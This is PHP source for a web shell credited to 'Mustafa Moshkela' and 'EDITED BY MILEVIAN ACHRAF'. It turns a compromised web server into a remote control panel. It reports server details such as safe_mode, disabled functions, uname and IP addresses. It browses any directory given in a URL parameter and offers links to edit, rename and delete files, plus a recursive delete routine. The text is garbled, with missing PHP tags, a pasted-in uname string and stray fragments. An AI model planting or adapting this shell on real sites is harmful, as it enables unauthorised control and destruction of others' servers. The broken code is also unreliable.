set_time_limit(0);
error_reporting(0);
$change_dir = $_GET['dir'];
chdir($change_dir);
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns='http://www.w3.org/1999/xhtml'>
<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
@chr@f<title>@chr@f</title>
<link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css'>
<link href='http://fonts.googleapis.com/css?family=IM+Fell+English' rel='stylesheet' type='text/css'>
<link href='http://www.shababdz.com/vb/images/flags/Algeria.gif' rel='icon' />
<style>
@font-face {
font-family: 'Averia Sans Libre';
font-style: normal;
font-weight: 400;
src: local('Averia Sans Libre Regular'), local('AveriaSansLibre-Regular'), url(http://themes.googleusercontent.com/static/fonts/averiasanslibre/v1/yRJpjT39KxACO9F31mj_LqOxStDXxcWVrHkhVmjuyZ8.woff) format('woff');
}
@font-face {
font-family: 'Orbitron';
font-style: normal;
font-weight: 700;
src: local('Orbitron-Bold'), url(http://themes.googleusercontent.com/static/fonts/orbitron/v3/Y82YH_MJJWnsH2yUA5AuYYbN6UDyHWBl620a-IRfuBk.woff) format('woff');
}
html,body{
height: 100%;
margin: 0;
padding: 0;
font-family: 'Orbitron';
}
.ar{
margin: 2px;
}
.c textarea{
background: #F0FFFF;
border:1px solid blue;
color:#008000;
position: fixed;
left:370px;
font-family: 'Orbitron';
}
.c input[type=submit]{
position: fixed;
left:620px;
top:430px;
font-family: 'Orbitron';
}
.c input[name=change_name]{
position: absolute;
top:0px;
left: 840px;
font-family: 'Orbitron';
}
.ar:hover{
color:#00ff00;
}
.c{
position: absolute;
top:100px;
margin: 20px;
padding-left: 480px;
}
a>i:hover{
color:#00ff00;
}
.info{
margin-bottom: 50px;
color:#F0FFFF;
padding-bottom: 120px;
}
.info>img{
position: absolute;
left:10px;
top:20px;
opacity: 0.5;
border-radius: 5px;
}
.info>.info1{
position: absolute;
left:170px;
top:40px;
}
.info>.info2{
position: absolute;
right:100px;
top:140px;
}
table{
border-collapse: collapse;
width: 100%;
margin-right: auto;
margin-left: auto;
}
.all{
position: relative;
min-height: 100%;
}
tr{
transition: all 0.2s;
}
th{
color:#F0FFFF;
text-align: center;
padding: 20px;
}
td{
color:#F0FFFF;
padding: 20px;
}
a{
text-decoration: none;
color:#F0FFFF;
}
a:hover{
color:#02590f;
}
tr:hover{
background: #CCC;
opacity: 0.8;
}
.contr{
text-align: center;
}
.chdir{
position: absolute;
left:20px;
margin-top: 20px;
}
.mkdir{
position: absolute;
margin-top: 80px;
left:20px;
}
input[type=text],input[type=file]{
width: 400px;
padding:10px;
background:#F0FFFF;
border:1px solid blue;
color: #02590f000;
text-shadow:0 0 5px;
transition: all 0.4s;
font-family: 'Orbitron';
}
input[type=submit]{
padding:9px;
background:#F0FFFF;
border:1px solid blue;
color: #02590f000;
transition: all 0.3s;
text-shadow:0 0 5px;
font-family: 'Orbitron';
}
.exec{
position: absolute;
margin-top: 93px;
left:20px;
}
.catfile{
position: absolute;
right:20px;
margin-top: 20px;
}
.mkfile{
position: absolute;
right: 20px;
margin-top: 30px;
}
.upload{
position: relative;
top:130px;
margin-left:751px;
}
input[type=submit]:hover{
background: #02590f066;
color:#F0FFFF;
border:1px solid #02590f;
cursor: pointer;
}
.footer{
margin-bottom:-250px;
position: absolute;
width: 100%;
text-align: center;
color:#F0FFFF;
background: #111;
opacity: 0.7;
bottom: 0;
border-top: 2px solid #F0FFFF;
}
input[type=text]:focus{
width: 450px;
}
.fa{
margin-right: 20px;
}
</style>
<img src='https://images4.alphacoders.com/291/291278.jpg' title='Coded By Mustafa Moshkela' style='position:fixed;width:100%;heigth:100%;top:0;left:0;z-index:-9999;' disabled>
<div class=all>
<div class=head></div>
<div class=main>
$safe = ini_get("safe_mode");
if($safe == 1){
$safe_mode = "<font color=red>ON</font>";
}else{
$safe_mode = "<font color=green>OFF</font>";
}
$dis = ini_get("disable_functions");
if($dis == ""){
$disable = "<font color=green>None</font>";
}else{
$disable = "<font color=red>$dis</font>";
}
$uname = Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64;
$server = $_SERVER['SERVER_ADDR'];
$me = $_SERVER['REMOTE_ADDR'];
echo "
<div class=info>
<img src=http://f.top4top.net/p_336yhpua1.png>
<span class=info1>
Uname-a : $uname
Safe Mode : $safe_mode
Disable Functions : $disable
</span>
<span class=info2>
Server IP : $server
Your IP : $me
</span>
</div>
";
$d=isset($dir) ? $dir : getcwd();
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$d = str_replace("\\\\","\\",$d);
$dispd = htmlspecialchars($d);
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,strlen($d)-1));
$i = 0;
foreach($pd as $b)
{
$t = "";
reset($e);
$j = 0;
foreach ($e as $r)
{
$t.= $r.DIRECTORY_SEPARATOR;
if ($j == $i) {break;}
$j++;
}
echo "<a class=ar href='?dir=$t'>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</a>";
$i++;
}
echo "<a href=?dir=".realpath('..')."><i class=\"fa fa-arrow-circle-left\"></i></a><hr>";
$dir = $_GET['dir'];
function rm_dir($dir){
if(isset($dir)){
$new = chdir($dir);
$real = realpath($dir);
$all = opendir($real);
while($entry = readdir($all)){
unlink($entry);
rmdir($dir);
}
}
}
$pwd = realpath(".");
$all = opendir(".");
echo "<table border=1>
<th>Files</th>
<th>Type</th>
<th>Size</th>
<th>Perms</th>
<th>Action</th>
|
";
$dir = '.';
$directories = array();
$files_list = array();
$files = scandir($dir);
foreach($files as $file){
if(($file != '.') && ($file != '..')){
if(is_dir($dir.'/'.$file)){
$directories[] = $file;
}else{
$files_list[] = $file;
}
}
}
echo "<a href=?dir=".realpath('..')."><i class=\"fa fa-arrow-circle-left\"></i></a> |
Back |
Back |
Back |
";
foreach($directories as $directory){
echo "
<i class=\"fa fa-folder-o\"></i> <a href='?dir=".realpath($directory)."'>$directory</a> |
[DIR] |
".filesize($directory)." |
".fileperms($directory)." |
<a href='?to=".realpath($directory)."&action=ren'><i class=\"fa fa-cog\"></i> Rename</a> - <a href='?dir=".realpath($directory)."&action=del'><i class=\"fa fa-times\"></i> Del</a> |
";
}
foreach($files_list as $file_list){
echo "
<i class=\"fa fa-file\"></i> <a href='?file=".realpath($file_list)."'>$file_list</a> |
[File] |
".filesize($file_list)." |
".fileperms($file_list)." |
<a href='?FILE=".realpath($file_list)."&action=file_ed'><i class=\"fa fa-edit\"></i> Edit</a> - <a href='?FILE=".realpath($file_list)."&action=file_ren'><i class=\"fa fa-cog\"></i> Rename</a> - <a href='?FILE=".realpath($file_list)."&action=file_rm'><i class=\"fa fa-times\"></i> Del</a> |
";
}
echo "";
echo "
<div class=contr>
<div class=chdir>
</div>
<div class=mkdir>
</div>
<div class=catfile>
</div>
<div class=upload>
</div>
<div class=exec>
</div>
<div class=mkfile>
</div>
</div>";
echo "
</div>
<div class=footer>
EDITED BY MILEVIAN ACHRAF
</div>